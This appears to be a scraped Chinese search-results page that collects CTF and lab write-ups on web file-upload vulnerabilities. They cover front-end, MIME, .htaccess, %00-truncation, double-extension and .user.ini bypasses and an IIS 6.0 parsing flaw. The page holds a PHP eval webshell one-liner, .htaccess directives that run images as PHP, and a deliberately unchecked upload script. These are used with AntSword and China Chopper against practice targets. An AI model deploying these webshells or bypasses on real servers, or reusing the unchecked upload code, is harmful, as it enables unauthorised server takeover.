精华内容
下载资源
问答
  • Web-CTFHUB文件上传漏洞

    2021-05-17 21:02:05
    Ctfhub文件上传总结一、无验证二级目录三级目录   文件上传漏洞是指攻击者上传了一个可执行的脚本文件到服务器,并执通过此脚本文件获得执行服务端命令的能力。这里上传的文件可以是木马,病毒,恶意脚本,钓鱼...


      文件上传漏洞是指攻击者上传了一个可执行的脚本文件到服务器,并执通过此脚本文件获得执行服务端命令的能力。这里上传的文件可以是木马,病毒,恶意脚本,钓鱼图片或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

    一、无验证形式

      既然是无验证,那我们就直接上传一个木马文件,登录服务器,查看服务器的文件信息,拿到我们想要的内容。
    1.创建一个webshell.php文件,写入
    在这里插入图片描述
    2.上传该文件,用antSword(蚁剑)连接
    3.拿到绝对路径和猜测网页路径,这里我猜是直接用我们现在所处的网页这里
    4.添加服务器地址
    在这里插入图片描述
    5.还是上图,在添加上的服务器那里右击文件管理(file manager),就可以拿到我们想要的文件。
    在这里插入图片描述

    二、前端验证

      在文件上传之前,前端js代码会对文件后缀进行一次验证,我们有两种办法解决。
    方法一:置禁用js代码,然后上传webshell
    firefox——>about:config首选项——>关闭JavaScript
    方法二:抓包,改文件后缀。
    1.禁用js,就可以绕过js验证
    在这里插入图片描述
    2.f13查看网页源代码,发现能上传这几种文件
    在这里插入图片描述
      按照第一个的解法,我们将webshell.php文件修改为webshell.php.png文件,然后上传,抓包,修改文件名在上传,就可以成功,之后的步骤就和第一个的方法差不多。

    三、.htaccess

      .htaccess文件(分布式配置文件)提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。
      htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
      既然如此,我们只需上传一个htaccess文件,在文件里面写上php语句,是不是就实现了文件上传的漏洞利用了。
    1.先在本地创建一个.htaccess文件

    vi .htaccess
    

    2.写入木马代码

    AddType application/x-httpd-php .png //把png文件当作 php文件处理
    
    SetHandler application/x-httpd-php		//也可以试一试这个,把所有文件当作Php文件来处理
    

    3.上传./htaccess文件,让服务器执行我们的木马代码
    4.上传木马文件和上面差不多,后缀名改为.png
    5.用蚁剑连接,拿到flag.
    在这里插入图片描述

    四、MIME绕过

      MIME即文件类型检测"Multipurpose Internet Mail Extensions"是描述消息内容类型的因特网标准。
    MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
      浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL,因此Web服务器在响应头中添加正确的MIME类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。
      网站工作者为了防止,网站被挂马,所以要进行文件类型检测,只能上传特定的类型文件。我们也是利用这一特性,使用蚁剑和BS进行漏洞挖掘。
    1.开始我们先对于服务器上传不同的文件,直至上传成功,然后利用BS进行抓包。查看报文的最后一段有Content-type字段部分,记住这一个类型,这是我们后面挂马能否成功的重要部分。
    2.上传木马,修改Content-type,让服务器无法检测,反包,获取文件绝对路径。
    在这里插入图片描述
    3.接着就是使用antSword进行连接了,步骤和上面一样。

    五、00截断

       PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。

    <?php 
    include mohe.txt%000.png;
    ?>
    

    系统就会自动的将000后的字符忽略,只看到mohe.txt。所以我们这里就需要转包然后截断改包,在反包即可挂马。
    1.用之前的webshell.php创建一个webshell.php.png的文本文件

    sudo mv webshell.php webshell.php.png
    

    2.上传文件 并且抓包,利用00绕过漏洞,改包,返包
    在这里插入图片描述
    3.反包之后就是使用蚁剑直接连接,拿到flag。

    六、双写后缀

       服务器对不符合要求的文件后缀会替换为空,那么我们要怎么发现这个漏洞呢?换句话说我们怎么知道这里有双写后缀漏洞呢?在做任何一道WEB题目,都要查看一下源代码,这里我们查看一下源代码发现有这个漏洞,那就easy了。
    1.将webshell.php改为webshell.pphphp,服务器会自动将php检测出来并且换为空,这不就真好符合我们的意思吗。
    2.用BP抓包,直接梭。

    展开全文
  • ctf-web:文件上传漏洞和文件解析漏洞

    万次阅读 多人点赞 2020-10-11 21:13:56
    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍. 其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,...

    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍.
    其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,还有这几个漏洞的利用就是web渗透…这不就是我好几年前看的东西么…
    当然,其实我也学的不是很精通,只是稍微会一点,就不夸夸其谈了.
    先说说这两个漏洞的区别.
    一.文件上传漏洞
    这个漏洞产生的原因是因为上传文件的不严谨所产生的.
    比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将上传的文件存放在服务器,这样是十分危险的.并且一般和后面的文件解析漏洞配合在一起使用.
    二.文件解析漏洞
    这个漏洞是由于服务器的原因造成的,就比如我们一会儿要举例的iis6.0服务器就有这个漏洞.
    简单来说,在iis6.0服务器上,如果服务器有一个"xxx.asp"文件夹,那么就会将这个文件下面的所有文件都当成一个asp脚本去执行.

    想想看,如果我们上传了一个删除系统数据库的病毒文件上去,然后又被解析成了某种语法去执行,是不是后果很可怕?
    因此,我会特地去讲一下这个东西的如何去实现的.后面我会把网站的源码附上.很多服务器都存在这个漏洞,我这里就介绍iis6.0的文件解析漏洞,想看其他的服务器的漏洞可以去百度一下.
    工具的话我把名字发上来,自己去找一下.
    实验环境:虚拟机win2003一台,软件phpstudy,中国菜刀

    一.iis6.0服务器的文件解析漏洞

    前面已经说过,iis6.0的漏洞就是会把xxx.asp文件夹下的文件都当作asp文件执行,我们试试便知.
    win2003都会自带iis6,因此直接安装就好,安装教程我就不发了,百度有.
    如图,此刻已经是安装好的.记得点到web的选项,按照图中进行配置.
    在这里插入图片描述
    此刻我们已经搭建网站成功.用主机输入服务器ip即可进行访问.由于我之前搭建phpstudy占用了80端口,我就把端口改成了82.你们在做的时候应该是不需要这一步的.
    在这里插入图片描述
    配置好以后,点击网站,然后右键那个默认网站,点击停用.
    在这里插入图片描述
    之后右键网站->新建->网站,新建一个自己的网站.我的已经建好了,就不做多余的演示了
    在这里插入图片描述

    需要注意的是,在新建网站的时候,有个运行脚本的选项要选上.如图
    在这里插入图片描述

    在这个里面点击右键,添加一个文件,和文件夹,文件名字叫做"index.html",文件夹名字随便起一个以.asp结尾的即可,我的是wzc.asp.然后在文件夹里面新建一个文件,名字随便起一个,比如1.txt.
    在这里插入图片描述
    在这里插入图片描述
    然后在这两个新建的1.txt和index.html都写入以下的内容:

    <%
    response.write("My first ASP script!")
    %>
    

    为什么要这么建文件呢?其实就是为了验证这个漏洞的.上面的代码是asp的语法,在屏幕上显示一句话.
    如果文件被解析成了asp文件,那么就会只显示引号里面的内容.
    如果没有的话,就直接把所有内容都显示出来.
    因此.我们新建了这两个文件用来验证.

    验证一:访问非asp文件夹下的文件(我的端口是81)

    也就是网站的主页.我用主机进行访问时,页面显示的是这样的:
    在这里插入图片描述
    看,是不是直接把文件当成了一个txt文本显示了出来?

    验证二:访问以.asp结尾文件夹下的文件

    访问结果如图:
    在这里插入图片描述
    果然,我们的代码被当成了asp脚本执行了.由此验证,我们的iis6.0确实存在这个漏洞.

    二.文件上传漏洞和文件解析漏洞的结合使用

    文件上传漏洞产生的原因就不像上一个是因为服务器产生的了,而是因为程序员的不严谨而产生的.
    在一些允许上传文件的网站中,编写php后台脚本时,不会对文件近进行检查,所以有一些黑客会利用这个上传一个叫"一句话木马"的脚本.
    这种脚本属于木马,当上传成功以后,在攻击者的电脑使用比如"中国菜刀"之类的软件进行连接,最终为所欲为.
    当然,中国菜刀属于比较落后的软甲,比较先进的有冰蝎等软件.有兴趣可以百度.
    由此可见,这种漏洞的危害性是非常大的.下面我会演示一下这个过程.

    过程实现

    首先安装phpstudy,然后在你的服务器下添加下面两个网站.源码发在下面.
    文件一:upload-file.html

    <html>
    <head>
     <title> 文件上传之解析漏洞~php</title>
     </head>
    <body>
    
    <form action="upload.php" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="提交" />
    </form>
    
    </body>
    </html>
    

    文件二:upload.php

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
     
    ?>
    

    放在如图的位置.
    在这里插入图片描述
    远程访问以下,发现成功.
    在这里插入图片描述
    我们随便上传一个php文件.
    在这里插入图片描述
    …连点防御都没有(从那个php代码就可以看出,不过我是从攻击者的角度出发的,由此可证明这个php代码有文件上传的漏洞).
    如图,在服务器下有个upload文件,里面就是我们上传的文件.
    在这里插入图片描述
    这个php一句话木马只是用来测试的,是为了看看能不能上传成功.现在我把一句话木马源码奉上.

    <?php eval($_POST["wzc"]);?>
    

    这段代码的原理我就不解释了.目的是为了方便使中国菜刀进行连接.你需要修改的使引号里面的内容,这个是后面中国菜刀连接是的密码.
    如图,这个是我的中国菜刀的界面,按照图中的方式配置.
    在这里插入图片描述
    上面把你的一句话木马的网站上的路径填上.我当时为了方便,把名字改成了"1.php".后面的空填刚刚的密码,下面记得选择php(eval)代码类型.连接以后,右键文件管理,会产生如图的效果.
    在这里插入图片描述
    看,现在我们就进到服务器里面了,接下来想怎么搞就怎么搞了.

    好了,就写这么多吧.
    剩余的也懒的想了,如果还想继续看一些东西的话,可以关注我,我后续会发一些比如数据库注入,软件破解之类的东西.
    有兴趣的可以加我qq:1392969921

    展开全文
  • 这个太糟糕了,我typora截图好多,不知道有没有放乱掉 ...include(“xxxx”) 一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。 因为.user.ini只对他同一目录下的文件起作用,也就是

    这个太糟糕了,我typora截图好多,不知道有没有放乱掉

    如果你目录下有user.ini会先去识别里面的配置,但是只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以

    找到这两个auto_append_file和auto_prepend_file,作用: 一个相当于在每个php文件尾加上
    include(“xxxx”) 一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。

    因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。


    [ctfshhow]web153

    利用user.ini auto_append_file

    如果上传png可以显示路径
    请添加图片描述

    访问/upload/请添加图片描述

    php文件不行(这里我也试了php7,php5,phtml之类后缀,没有过滤,但是服务器无法解析)
    请添加图片描述

    ps unicode编码
    请添加图片描述

    请添加图片描述

    首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
    这样就在每个php文件上包含了我们的木马文件。

    开始传var/www/html/upload/1.png在/upload/显示没有找到文件,估计是路径猜错了
    请添加图片描述

    发现可以直接写文件名
    请添加图片描述

    user.ini内容为:auto_prepend_file=12.jpg //在页面顶部加载文件,所以这里的user.ini用于让index.php解析文件

    注意事项:user.ini文件一段时间后生效(5分钟左右)

    展开全文
  • CTF-web文件上传漏洞

    2021-08-23 14:19:24
    文件上传漏洞 文件上传功能 文件上传流程和上传攻击 WebShell——网页木马文件 以php语言创建一句木马: 之间的gok为连接的木马 将其放入phpstudy工具的网站根目录里,即网址为http://10.0.3.23/eval.php ...

    文件上传漏洞

    文件上传功能

    在这里插入图片描述
    在这里插入图片描述

    文件上传流程和上传攻击

    在这里插入图片描述
    在这里插入图片描述

    WebShell——网页木马文件

    在这里插入图片描述
    在这里插入图片描述
    以php语言创建一句木马:
    在这里插入图片描述
    之间的gok为连接的木马
    将其放入phpstudy工具的网站根目录里,即网址为http://10.0.3.23/eval.php
    在这里插入图片描述
    利用菜刀连接木马
    在这里插入图片描述
    打开后,右键添加
    右键->文件管理,可以看到里面的信息
    还可以模拟端
    在这里插入图片描述
    右键->数据库管理

    大马介绍

    在这里插入图片描述
    在这里插入图片描述

    一句话木马介绍

    在这里插入图片描述
    在这里插入图片描述

    一句话木马连接

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    文件上传漏洞利用

    在这里插入图片描述
    在这里插入图片描述
    登录后,点击File Upload,上传前面制作的一句木马eval.php->Upload
    在这里插入图片描述
    …/…表示上一级的上一级
    当前目录为http://127.0.0.1/American/vulnerabilities/upload/#
    上传eval.php后,文件目录为http://127.0.0.1/American/hackable/uploads/eval.php

    打开菜刀,添加SHELL:http://127.0.0.1/American/hackable/uploads/eval.php,gok,PHP(Eval),字符编码->添加->再双击运行

    例题2:
    点击File Upload1:
    在这里插入图片描述
    上传eval.php文件->Upload,
    弹出
    在这里插入图片描述
    上传文件出现弹窗的,为前段代码验证
    不过File Upload1虽然有弹窗提示,但还能上传eval.php文件(此为Bug)

    它有一个特点:
    打开Burp,Intercept is off->Intercept is on
    在File Upload1上传eval.php文件
    在这里插入图片描述
    在Burp里没有相应信息的,说明这些为前端代码

    既然有格式限制,那就进行拦截,上传前发送eval.jpg,在Burp里拦截后改为eval.php
    所以上传的时候,将eval.php改为eval.jpg

    在这里插入图片描述
    点击Upload之前
    在Burp里Intercept is off->Intercept is on
    再到页面点击Upload,
    再到Burp里找到eval.jpg,改为eval.php
    在这里插入图片描述
    在这里插入图片描述
    再将Intercept is off->Intercept is on
    到页面发现eval.php上传成功
    在这里插入图片描述
    之后可与菜刀连接

    例题3:
    点击File Upload2:
    在这里插入图片描述
    浏览->上传文件eval3.php->Upload
    显示:
    在这里插入图片描述
    所以开启拦截
    在Burp里Intercept is off->Intercept is on,在页面点击Upload
    在Burp里
    将Content-Type:application/octet-stream -> Content-Type:image/jpeg
    再Intercept is off->Intercept is on

    在这里插入图片描述

    展开全文
  • ctfhub 文件上传 - htaccess 查看网页源码,可以看到常用的文件后缀都被禁用。 根据题目的提示,.hatccess文件【.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很...
  • 文章目录CTF-WEB文件上传1. 前端校验2. Content-Type校验3. 黑名单 过滤绕过4. 特殊文件5. 漏洞解析6. %00(url编码) 和 0x00 (16进制)截断SQL注入1. 典型攻击手段:2. 出题人套路:XSS漏洞1. 反射型2. dom型3. 存储...
  • Ctfhub解题 web XSS反射型1.无验证2.前端验证3. .htaccess方法一:方法二:方法三: 介绍:记录解题过程 1.无验证 编写PHP一句话木马 <?php echo "上传成功"; eval($_POST['cmd']); ?> 无验证直接上传 ...
  • CTFHub 文件上传-文件头检查

    千次阅读 2020-03-01 22:01:32
    CTFHub 文件上传-文件头检查 一道基础and简单题 前面几步没有截图,,, 文件上传基本思路:上传.php(只能能被中间件解析的文件,.php,.php4等等),但题目会对上传的后缀名进行限制,这里限制分为黑名单,就是不...
  • ctf-web:关于文件上传漏洞的深入研究

    万次阅读 2020-10-14 18:12:15
    上次我们研究了关于文件上传的漏洞,这次我们研究的内容属于上节课的补充内容,关于文件上传的绕过与防御. 怎么说呢,算是一种锻炼吧. 因为下个月有个awd的比赛,因此最近会经常发一些关于web的内容. 其实我还是挺慌的,...
  • 页面回显上传文件的相对路径: upload/sh.php 利用蚁剑空白区域右击添加数据,设置如下: URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/sh.php 连接密码 password 网站备注 编码...
  • CTF Web学习笔记

    2019-01-11 08:41:42
    CTF Web学习笔记,包含杂项和WEB两部分,包含杂项简介,WEB知识点总结以及Web常用套路总结。
  • CG CTF WEB 上传绕过

    千次阅读 2019-07-04 18:43:08
    00截断是文件后缀名就一个%00字节,可以截断某些函数对文件名的判断,在许多语言函数中,处理字符串的函数中0x00被认为是终止符。 例如,网站上传函数处理xxx.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传.....
  • CTF-Web-文件上传

    2019-11-22 13:35:44
    %00截断上传
  • 以我目前的见识来说,文件上传就是将木马植入服务器,获取权限,拿到flag的一类题型。 这里以ctfhub的题目为例,介绍所接触题目的相关原理。 首先是前端验证,由于网上都有详细的wp,在此不过多介绍。 JavaScript ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,335
精华内容 1,334
关键字:

ctfweb文件上传